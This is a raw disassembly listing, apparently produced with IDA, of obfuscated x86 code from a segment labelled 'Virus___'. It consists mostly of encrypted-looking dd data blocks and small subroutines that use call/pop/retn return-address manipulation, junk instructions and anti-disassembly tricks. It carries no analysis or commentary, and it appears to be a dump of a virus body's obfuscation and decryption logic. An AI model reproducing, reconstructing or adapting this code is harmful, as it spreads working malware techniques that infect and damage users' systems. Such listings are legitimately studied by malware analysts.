		dd 4995FF09h, 8B095D11h, 5D14E995h, 298D8B09h, 0F5095D4Dh
		dd 0E96001FEh, 12h, 4D7E0D01h, 0C208153Eh, 80BA764Fh, 4DCD444Fh
		dd 958BB50Bh, 95D0905h,	0D9BD8361h, 1095D09h, 3850Fh, 0DA800000h
		dd 6AC08B1Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 8772C356h, 0D792A7B0h,	3AE90633h
		dd 0F18496BAh, 9BD831Bh, 95D18h, 0BD830975h, 95D0329h
		dd 501A7400h, 8BC08B53h, 5D10AD85h, 0AD858909h,	8D095D10h
		dd 5FAA619Dh, 5BD3FF09h, 29BD8358h, 95D03h, 53501874h
		dd 10AD858Bh, 8589095Dh, 95D10ADh, 0A7509D8Dh, 0D3FF095Fh
		dd 8166585Bh, 0E9BA1EDBh, 11h, 0E251FB46h, 4883F072h, 0B3A0C9EBh
		dd 0F1FEFCFh, 66C08BD5h, 0CD26E381h, 2A85BD83h,	0F00095Dh
		dd 2E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 83C7A05Dh, 5D1EE5BDh
		dd 840F0009h, 3, 8388DA80h, 5D2A85BDh, 840F0009h, 18h
		dd 0CAD958Bh, 0BD83095Dh, 95D31B9h, 5840F00h, 66000000h
		dd 5F5DF381h, 2A85BD83h, 0F00095Dh, 1984h, 319D8B00h, 83095D07h
		dd 5D31B9BDh, 840F0009h, 6, 285D958Bh, 0BD83095Dh, 95D2A85h
		dd 19840F00h, 89000000h, 5D063D85h, 0F9BD8309h,	95D0Bh
		dd 6840Fh, 0BD290000h, 95D13B1h, 2A85BD83h, 0F00095Dh
		dd 9884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 4BAE749Fh, 0D6B88545h, 0BD894B80h
		dd 95D1479h, 1641BD83h,	0F00095Dh, 6084h, 9E900h, 5420000h
		dd 551EFE8Eh, 0FFAC1311h, 5D090995h, 50006A09h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0B8AFA1C1h
		dd 4237DD80h, 11E8h, 0C9DF9300h, 0FCF4F46Ch, 769D6859h
		dd 50FE88F8h, 6660C011h, 0E3C5C381h, 310DBD29h,	5A61095Dh
		dd 41B38DBAh, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0BD16C350h,	81609831h
		dd 27BA54C3h, 999D0B31h, 61095D22h, 1809BD83h, 7500095Dh
		dd 29BD8309h, 95D03h, 53501A74h, 858BC08Bh, 95D1311h, 13118589h
		dd 9D8D095Dh, 95FAAC8h,	585BD3FFh, 329BD83h, 7400095Dh
		dd 8B535018h, 5D131185h, 11858909h, 8D095D13h, 5FA7699Dh
		dd 5BD3FF09h, 0D68B6658h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0C4C35747h, 8A800FA4h, 13A9BD29h, 0C08B095Dh
		dd 0CDD8D89h, 0BD83095Dh, 95D2A85h, 45840F00h, 6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0C5AFC353h, 0D0754363h, 12E971h, 412B0000h
		dd 1EA4B554h, 234C1263h, 2A6DDEA3h, 0D3FD29DDh,	865BD83h
		dd 0F02095Dh, 5F84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 8806A096h, 0E8DFBD2Ch
		dd 9, 0E9C8E845h, 188692A4h, 0BF666063h, 0C080337Fh, 835B61BBh
		dd 5D0531BDh, 850F0109h, 18h, 10E9h, 1C367100h,	9AF01375h
		dd 0AD8DDFF7h, 0B35BE270h, 0AFCE8098h, 0F3816660h, 8D8B275Dh
		dd 95D4D29h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	35C35646h, 3AFE92ECh, 0FD2E4F8Ah, 0EE9h, 0EDDE2300h
		dd 0E652F1Bh, 0D65C8128h, 0FEA2EFDCh, 6860F01h,	81000000h
		dd 9711ADEBh, 36036874h, 9E812D6h, 7B000000h, 100C8AB9h
		dd 95B34634h, 0F08A5250h, 860F310Fh, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		pop	ebx
		xor	dword ptr [esp], 12D63683h
		push	0
		push	ecx
		call	sub_571149
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571149	proc near		; CODE XREF: Virus___:00571141p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_571149	endp

; ---------------------------------------------------------------------------
		scasb
		db	2Eh
		adc	ebx, 40F1AFF8h
		push	0FFFFFFFFh
		mov	bx, 0F9EBh
		call	dword ptr [ebp+95D0769h]
		push	0
		push	ecx
		call	sub_571178
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571178	proc near		; CODE XREF: Virus___:00571170p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_571178	endp

; ---------------------------------------------------------------------------
		push	es
		enter	4FC7h, 25h
		lds	esp, [ecx]
		jmp	loc_57119E
; ---------------------------------------------------------------------------
		dd 93E45FB6h, 0C7096247h
; ---------------------------------------------------------------------------
		mov	dh, 29h


loc_57119E:				; CODE XREF: Virus___:0057118Fj
		popa
		or	[ebp+95D20C1h],	eax
		lea	edi, [ebp+95D0A5Dh]
		push	0
		push	edi
		call	sub_5711B6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5711B6	proc near		; CODE XREF: Virus___:005711AEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5711B6	endp

; ---------------------------------------------------------------------------
		dw 0F05Ch
; ---------------------------------------------------------------------------
		dec	ebp
		adc	[ebx+6A1C4Fh], cl
		push	edx
		call	sub_5711D8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5711D8	proc near		; CODE XREF: Virus___:005711D0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5711D8	endp

; ---------------------------------------------------------------------------
		dd 0D677D216h, 2B078195h, 0F48A5753h, 6A016A5Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0EA05C355h, 60079D6Bh, 29019D89h, 8B66095Dh,	669161F9h
		dd 50534FBAh, 15D1BA66h, 50006A91h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 1045ECF6h, 0B663897h
		dd 858D2C14h, 960329Ch,	0D0FFFAB2h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 3C35545h, 8B8BBE8Ah, 9D89204Fh
		dd 95D22B9h, 6AD0BF0Fh,	0FE803h, 0CF1D0000h, 6FDBBF29h
		dd 2D585FBAh, 787A6F1Bh, 5BFAB64Ah, 7FCB8166h, 5250505Ch
		dd 0EE960h, 7BDE0000h, 0C81E3BDBh, 0AD6AFC4Fh, 0B35EAF97h
		dd 890Fh, 0F610000h, 5AD58A31h,	240C8958h, 0CE8h, 90205200h
		dd 4E63BA2Bh, 49E52995h, 0D58D2919h, 5A095D25h,	329C858Dh
		dd 85090960h, 95D02A5h,	0EF80D0FFh, 0B1958B7Ch,	8D095D0Bh
		dd 5D0A5DBDh, 0A6F38109h, 8B4119C9h, 85891C4Fh,	95D28E1h
		dd 6A016Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 2359F9C3h, 5D2F7D9Dh, 0DF8B9109h,	9E950h
		dd 7A880000h, 2D466CBh,	9116E0EEh, 6084BA66h, 329C858Dh
		dd 85890960h, 95D1911h,	6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 898B3AC3h, 5D0B618Dh
		dd 219D8909h, 8B095D04h, 9D8B204Fh, 95D02E9h, 0FF9894BAh
		dd 60036A16h, 51F82FBEh, 0D08B6648h, 60609161h,	8B66D98Bh
		dd 0B86661F2h, 5061345Dh, 0BA665250h, 310F2351h, 0F91585Ah
		dd 682h, 9D958B00h, 8D095D2Bh, 60329C85h, 118D0109h, 0FF095D16h
		dd 1D9589D0h, 8B095D18h, 5D4D298Dh, 0DFB70F09h,	0DF8B01FEh
		dd 4D29858Bh, 0BF0F095Dh, 6A00FED7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0B8DCC353h
		dd 2B519D89h, 8501095Dh, 95D08F9h, 6A016Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0C33025C3h
		dd 723CD381h, 0EB8152B6h, 60BE7A0Fh, 34A4B868h,	240481C2h
		dd 3DCAFB47h, 38C0Fh, 8B660000h, 0A6858DDEh, 0FC096032h
		dd 3DB7D0FFh, 1EE5BD83h, 0F00095Dh, 0E484h, 51852900h
		dd 83095D16h, 5D0971BDh, 850F0109h, 0D1h, 0D99D8B51h, 5A095D0Bh
		dd 32B08D8Dh, 9D890960h, 95D1EE9h, 645B529h, 36A095Dh
		dd 846EBB66h, 6A016Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0D65B17C3h, 14830Fh, 0FE90000h
		dd 0F9000000h, 0ECDF504Ch, 25AEA67Ch, 0AEA9BD3Eh, 0D1FF5166h
		dd 0A1953150h, 5A095D2Bh, 9D23016Ah, 95D0A45h, 958B016Ah
		dd 95D2091h, 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0DD1B8BC3h, 0D0536650h, 5E8h, 0E4896F00h
		dd 6E9B615h, 0A6000000h, 0BE276309h, 0E9525A9Eh, 0Bh, 1A3FC0F9h
		dd 7EA890Dh, 5A3F8A8Ah,	2F25958Bh, 67E8095Dh, 9F6FE6Ch
		dd 5D15F1B5h, 0E9206A09h, 11h, 8F448180h, 0C51EAE51h, 78E0306Ch
		dd 2AEBD390h, 0E8FF6AEBh, 13h, 2B0C1371h, 0D60993A6h, 0E5A30067h
		dd 5973F92Bh, 0F1E7FF5h, 0FF5AD7B7h, 5D076995h,	8DB58909h
		dd 0B8095D0Fh, 0
; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, [ebp+95D3055h]
		pop	ebx
		or	eax, eax
		jz	loc_5715F2
		mov	edx, [ebp+95D0931h]
		cmp	dword ptr [ebp+95D0851h], 0
		jz	loc_5715F2
		xor	bx, 0D4DFh
		call	dword ptr [ebp+95D1411h]
		push	0
		push	ecx
		call	sub_5715D5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5715D5	proc near		; CODE XREF: Virus___:005715CDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5715D5	endp

; ---------------------------------------------------------------------------
		db 79h,	6Ch, 84h
; ---------------------------------------------------------------------------
		and	ebx, [ebx-5BCA21C5h]
		sahf
		and	dh, 0A9h


loc_5715F2:				; CODE XREF: Virus___:005715A6j
					; Virus___:005715B9j
		mov	eax, [ebp+95D2215h]
		push	0
		push	eax
		call	sub_571603
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571603	proc near		; CODE XREF: Virus___:005715FBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_571603	endp

; ---------------------------------------------------------------------------
		db 0ADh
		dd 2576E00Eh, 1958B36h,	0C6095D1Dh, 0B5890000h,	95D1991h
		dd 9D9D8B58h, 66095D24h, 958BD98Ch, 95D3101h, 0F04C1F6h
		dd 8A84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 13042660h, 0CAFFEA51h, 9523C989h
		dd 95D2B85h, 0E9F8CA80h, 57h, 3998D89h,	958B095Dh, 95D24C9h
		dd 24C5B58Bh, 8589095Dh, 95D3301h, 6850Fh, 85290000h, 95D1125h
		dd 1180C681h, 890F0000h, 19h, 14E9h, 88DAF200h,	0F1FF3770h
		dd 1573757Ch, 8226366Bh, 0D008E3E6h, 391BBB6Ah,	6C74C13h
		dd 0
; ---------------------------------------------------------------------------
		mov	bx, cx
		pop	esi
		push	0
		push	edx
		call	sub_5716D7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5716D7	proc near		; CODE XREF: Virus___:005716CFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5716D7	endp

; ---------------------------------------------------------------------------
		db 3Fh
		dd 7C757787h, 87CBC199h, 25BD8973h, 83095D2Fh, 840F00F8h
		dd 0A16h, 83DFB70Fh, 850F01F8h,	141h, 31359D8Bh, 0B8095Dh
		dd 8A000000h, 0FC00BF3h, 0C184h, 71958B00h, 0B6095D08h
		dd 1F88380h, 0D6840Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 97DF81C3h, 0FC1684F1h
		dd 3379958Bh, 0F883095Dh, 5B840F03h, 89000000h,	5D11DD95h
		dd 0B809h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0E74A63C3h, 8DD7BF0Fh, 5B89E0BDh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 2A3F103Dh, 0E7FF86B7h, 1F79958Bh, 1B8095Dh
		dd 60000000h, 26C9BD89h, 0B70F095Dh, 0BD8D61D2h, 5B89E0h
		dd 2BB1BD29h, 57B7095Dh, 0BA66E7FFh, 0BD8DA5ABh, 95D43B5h
		dd 38F0Fh, 0B70F0000h, 287E9D0h, 0DE90000h, 0D5000000h
		dd 5814978Ch, 5AA2A648h, 3E019C29h, 4D8485C7h, 5095Dh
		dd 8B600000h, 5D329D95h, 8B665709h, 0B8615BFAh,	5, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A5C35545h, 21AAC09Eh
		dd 812E9h, 37BA6600h, 2F883C3h,	0EE850Fh, 0F08A0000h, 0B8h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 92950135h, 0BD299D2Dh, 0AE8573Ah, 0AE000000h
		dd 0F448C6EAh, 931DCE0h, 55958BF4h, 5A095D22h, 840FC00Bh
		dd 71h,	0AE9h, 0E1B1C500h, 530B03E0h, 83652E27h, 840F01F8h
		dd 0FFFFFF50h, 6870Fh, 950B0000h, 95D2B59h, 0F03F883h
		dd 0FFFEF184h, 8D8960FFh, 95D0421h, 2B61F38Bh, 0E28166C0h
		dd 0BD8DE3C8h, 5B89E0h,	26F59D2Bh, 0E7FF095Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8EC35747h, 0C749FB9Eh
		dd 3C168276h, 0ADBD8DA9h, 6A095D45h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0F09FC350h
		dd 0CE58589h, 3EE9095Dh, 0BB000001h, 3B12D54Dh,	0F03F883h
		dd 2385h, 2D9D8B00h, 89095D22h,	5D0F81B5h, 41BD8D09h, 0F8095D47h
		dd 3ECB8166h, 113E910h,	958B0000h, 95D1019h, 0F05F883h
		dd 2B85h, 719D8B00h, 80095D22h,	0D4E98BDEh, 6A000006h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0F897C355h, 0F06F883h, 3C85h, 21D28100h
		dd 8D567D42h, 5D4939BDh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0B40F18D2h, 60A957F6h
		dd 9AE9E5A8h, 8B000000h, 5D2A319Dh, 7F88309h, 2D850Fh
		dd 8E80000h, 9F000000h,	1FE78470h, 89B1CAF7h, 5D10018Dh
		dd 0BD8D5B09h, 95D0CF5h, 19DB8166h, 103E98Dh, 8B660000h
		dd 6D9589D3h, 83095D0Fh, 850F0AF8h, 55h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 9DC35343h, 0AD8D09C5h
		dd 31095D24h, 5D1A599Dh, 31BD8D09h, 8B095D4Bh, 5D289195h
		dd 1BE909h, 6E80000h, 2C000000h, 22924844h, 0D9B70F7Fh
		dd 0BB66605Bh, 8D3164DCh, 95D05F9h, 6A5761h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0E3DEC1C3h
		dd 33271E80h, 0D577BB66h, 27AD8589h, 0F5B9095Dh, 892F912Bh
		dd 5D16258Dh, 3F8309h, 54840Fh,	9D890000h, 95D0BE5h, 0F30DA8Ah
		dd 28C0F60h, 60000000h,	0D161FC61h, 0E58529C9h,	47095D12h
		dd 0E9D38B66h, 0FFFFFFD1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 44C35545h, 435BD272h,	0C38156ADh, 48444E40h
		dd 30419D8Bh, 815F095Dh, 9A87F4EAh, 2DBD8948h, 0B7095D4Dh
		dd 0DD8D8D03h, 8B095D33h, 0BDB5FFD7h, 0E9095D02h, 7, 4D2ABD19h
		dd 60195A32h, 308C39B8h, 0DD9D0164h, 61095D02h,	0A432858Dh
		dd 8D50095Fh, 5D555BBDh, 328D8D09h, 0B8095D70h,	54831ABCh
		dd 730CF2Bh, 4947C8D0h,	0B58DF875h, 95D6FE2h, 704A8D8Dh
		dd 0CF2B095Dh, 0C933A4F3h, 0B8h, 74C00B00h, 51BD8346h
		dd 95D08h, 95FF0674h, 95D1411h,	4D2DB58Bh, 858D095Dh, 95FA432h
		dd 858DD0FFh, 95D4193h,	85C7D0FFh, 95D2A2Dh, 1,	27A9A58Bh
		dd 0B58B095Dh, 95D07E5h, 2B39AD8Bh, 0C033095Dh,	6A000CC2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0FCF7C355h, 958B1A72h, 95D0FCDh, 571958Bh
		dd 0BD83095Dh, 95D04B5h, 9840F00h, 0B6000000h, 3D95FFFFh
		dd 0F8095D27h, 315BD83h, 0F00095Dh, 13C85h, 880F5100h
		dd 0
; ---------------------------------------------------------------------------
		pop	edx
		cmp	dword ptr [ebp+95D0971h], 1
		jnz	loc_571D55
		mov	edx, 700F48ECh
		jmp	loc_571C43
; ---------------------------------------------------------------------------
		dd 29CD6869h, 34DB960Dh
		db 0A3h, 79h, 0Ah
; ---------------------------------------------------------------------------


loc_571C43:				; CODE XREF: Virus___:00571C33j
		cmp	dword ptr [ebp+95D219Dh], 0
		jz	loc_571D55
		push	0
		push	ebp
		call	sub_571C5B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571C5B	proc near		; CODE XREF: Virus___:00571C53p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_571C5B	endp

; ---------------------------------------------------------------------------
		mov	esp, 16B0B03Ah
		mov	[ebp+95D006Dh],	ebx
		jmp	loc_571C8E
; ---------------------------------------------------------------------------
		db 42h
		dd 3C73C677h, 99CAEF14h, 0F8D660D7h, 0ADE73268h
		db 92h,	15h
; ---------------------------------------------------------------------------


loc_571C8E:				; CODE XREF: Virus___:00571C76j
		add	[ebp+95D18CDh],	esi
		cmp	dword ptr [ebp+95D4D80h], 0
		jz	loc_571D55
		cld
		pusha
		sub	[ebp+95D13B1h],	ecx
		popa
		lea	eax, [ebp+95FA432h]
		pusha
		mov	esi, [ebp+95D0F8Dh]
		movsx	ecx, bx
		popa
		mov	esi, [ebp+95D4D2Dh]
		jz	loc_571CCE
		jb	loc_571CCE
		clc


loc_571CCE:				; CODE XREF: Virus___:00571CC1j
					; Virus___:00571CC7j
		call	eax
		mov	bh, 0F1h
		mov	ebx, [ebp+95D032Dh]
		mov	byte ptr [ebp+95D3335h], 54h
		push	0
		push	ecx
		call	sub_571CEA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571CEA	proc near		; CODE XREF: Virus___:00571CE2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_571CEA	endp

; ---------------------------------------------------------------------------
		dw 8279h
; ---------------------------------------------------------------------------
		mov	edx, 6CEB6BAFh
		push	0D177DE01h
		xor	dword ptr [esp], 2E3960F5h
		mov	dx, 0A280h
		push	dword ptr [ebp+95D08F1h]
		mov	ebx, [ebp+95D1911h]
		lea	eax, [ebp+95D3973h]
		call	eax
		mov	[ebp+95D31D9h],	eax
		push	0
		or	[ebp+95D2725h],	ecx
		push	0FFFFFFFFh
		mov	edx, esi
		call	eax
		mov	[ebp+95D3175h],	edx
		mov	dl, 8Dh
		push	dword ptr [ebp+95D1525h]
		mov	[ebp+95D0049h],	ebx
		call	dword ptr [ebp+95D02BDh]
		mov	dh, ah


loc_571D55:				; CODE XREF: Virus___:00571C28j
					; Virus___:00571C4Aj ...
		mov	esi, [ebp+95D4D2Dh]
		push	0
		push	edi
		call	sub_571D66
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571D66	proc near		; CODE XREF: Virus___:00571D5Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_571D66	endp

; ---------------------------------------------------------------------------
		test	bh, ah
		mov	dh, 0CAh
		retn
; ---------------------------------------------------------------------------
		clc
		mov	esi, [ebp+95D2215h]
		jl	$+6
		or	esi, esi
		jz	loc_571D9A
		clc
		mov	byte ptr [esi],	0
		mov	[ebp+95D2A25h],	edi


loc_571D9A:				; CODE XREF: Virus___:00571D8Aj
		mov	[ebp+95D4D35h],	eax
		push	0
		push	esi
		call	sub_571DAB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571DAB	proc near		; CODE XREF: Virus___:00571DA3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_571DAB	endp

; ---------------------------------------------------------------------------
		cwde
		int	3		; Trap to Debugger
		pause
		add	al, 0D5h
		cmp	eax, 0
		jz	loc_572116
		or	[ebp+95D2B19h],	ecx
		mov	eax, 0
		jz	loc_571DE1
		mov	ebx, [ebp+95D188Dh]


loc_571DE1:				; CODE XREF: Virus___:00571DD5j
		cmp	eax, 0
		jz	loc_571EAA
		push	0
		push	eax
		call	sub_571DF5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571DF5	proc near		; CODE XREF: Virus___:00571DEDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_571DF5	endp

; ---------------------------------------------------------------------------
		aam	0D9h
		retn	7EB6h
; ---------------------------------------------------------------------------
		dw 5EA0h
		dd 830F60FEh, 4, 7678BB66h, 8ED8589h, 8361095Dh, 850F02F8h
		dd 32h,	43B0858Dh, 0BB66095Dh, 292D4157h, 89000009h, 5D264DB5h
		dd 52505009h, 310F08B6h, 585AD78Bh, 89240489h, 5D26998Dh
		dd 5A53C309h, 341B589h,	0B8095Dh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0DA70C350h, 0DC42058Eh, 291E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0D78B7817h
		dd 11058589h
		db 5Dh,	9
; ---------------------------------------------------------------------------


loc_571EAA:				; CODE XREF: Virus___:00571DE4j
		mov	eax, 1
		mov	bl, 8Eh
		lea	edi, [ebp+95D43B5h]
		mov	ebx, [ebp+95D20D5h]
		jmp	loc_571FBA
; ---------------------------------------------------------------------------
		push	esi
		jnp	loc_571ECF
		jnb	$+6


loc_571ECF:				; CODE XREF: Virus___:00571EC3j
		pop	edx
		jmp	loc_571EE5
; ---------------------------------------------------------------------------
		db 0BDh, 84h, 0D2h
		dd 8D2D028Dh, 2682E603h, 82AB6D6h
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_571EE5:				; CODE XREF: Virus___:00571ED0j
		cmp	eax, 2
		jnz	loc_571F58
		jmp	loc_571EFF
; ---------------------------------------------------------------------------
		retf	9771h
; ---------------------------------------------------------------------------
		dw 0D563h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		push	cs
		cwde
		lea	eax, [eax-4Fh]
		xchg	eax, esi


loc_571EFF:				; CODE XREF: Virus___:00571EEEj
		lea	edi, [ebp+95D45ADh]
		push	esi
		mov	ebx, [ebp+95D02F9h]
		pop	ebx
		jmp	loc_571FBA
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_571F1D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571F1D	proc near		; CODE XREF: Virus___:00571F15p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_571F1D	endp

; ---------------------------------------------------------------------------
		db 72h,	76h, 87h
		dd 98E4D674h, 9D89BB93h, 95D1529h, 191D9D8Bh, 0AE8095Dh
		dd 3E000000h, 0FB617C9Dh, 1A89DDCAh, 91BD89B7h,	5A095D09h
; ---------------------------------------------------------------------------


loc_571F58:				; CODE XREF: Virus___:00571EE8j
		cmp	eax, 3
		jnz	loc_571F9A
		jmp	loc_571F7A
; ---------------------------------------------------------------------------
		dw 5B2Bh
		dd 8202E09Ah, 0C0589C2Ah, 72797BA4h, 5491DAF5h
; ---------------------------------------------------------------------------
		test	edx, ecx


loc_571F7A:				; CODE XREF: Virus___:00571F61j
		lea	edi, [ebp+95D4741h]
		jp	loc_571F92
		jb	loc_571F92
		and	ebx, [ebp+95D1009h]


loc_571F92:				; CODE XREF: Virus___:00571F80j
					; Virus___:00571F86j
		jmp	loc_571FBA
; ---------------------------------------------------------------------------
		movzx	ebx, di


loc_571F9A:				; CODE XREF: Virus___:00571F5Bj
		cmp	eax, 5
		jnz	loc_571FBA
		mov	edx, [ebp+95D2FB1h]
		jmp	loc_57205B
; ---------------------------------------------------------------------------
		pusha
		pusha
		movsx	esi, cx
		mov	ah, 0E9h
		popa
		push	ecx
		stc
		pop	edx
		popa


loc_571FBA:				; CODE XREF: Virus___:00571EBDj
					; Virus___:00571F0Dj ...
		push	edi
		mov	edx, esi
		mov	ecx, 2F912BF5h
		push	0
		push	eax
		call	sub_571FCD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571FCD	proc near		; CODE XREF: Virus___:00571FC5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_571FCD	endp

; ---------------------------------------------------------------------------
		db 21h,	89h, 0B5h
		dd 95D03E9h, 0F003F83h,	6E84h, 6A0F3000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0D547C356h
		dd 8B019261h, 5D310195h, 6AC9D109h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7C6AC351h
		dd 95898104h, 95D0C55h,	676509BAh, 9D8B4743h, 95D310Dh
		dd 0FFFF97E9h, 880F53FFh, 6, 17059D0Bh
		db 5Dh,	9, 5Bh
; ---------------------------------------------------------------------------


loc_57205B:				; CODE XREF: Virus___:00571FA9j
		cmp	eax, 5
		jnz	loc_572116
		jge	loc_572072
		push	esi
		mov	edx, [ebp+95D0831h]
		pop	ebx


loc_572072:				; CODE XREF: Virus___:00572064j
		mov	cx, ds
		mov	[ebp+95D1A09h],	esi
		test	cl, 4
		jnz	loc_5720CB
		mov	ebx, 379CC3BBh
		mov	eax, 0
		jmp	loc_5720A7
; ---------------------------------------------------------------------------
		pop	eax
		fstp	qword ptr [edi+1110EFBAh]
		add	ds:0CA3EA813h, ch
		add	dl, [esp+edi*4-2Ah]
		jl	short loc_572116
		sti


loc_5720A7:				; CODE XREF: Virus___:0057208Ej
		jmp	loc_572116
; ---------------------------------------------------------------------------
		call	near ptr loc_5720BF+5
		mov	eax, 0AEE5BC59h
		push	0FFFFFFF7h
		scasd
		mov	esi, 48683ED6h
		push	esi


loc_5720BF:				; CODE XREF: Virus___:005720ACp
		add	dword ptr [edx+0], 9D897634h
		mov	ebp, 5B095D27h


loc_5720CB:				; CODE XREF: Virus___:0057207Ej
		mov	eax, [ebp+95D1F11h]
		push	0
		push	edx
		call	sub_5720DC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5720DC	proc near		; CODE XREF: Virus___:005720D4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5720DC	endp

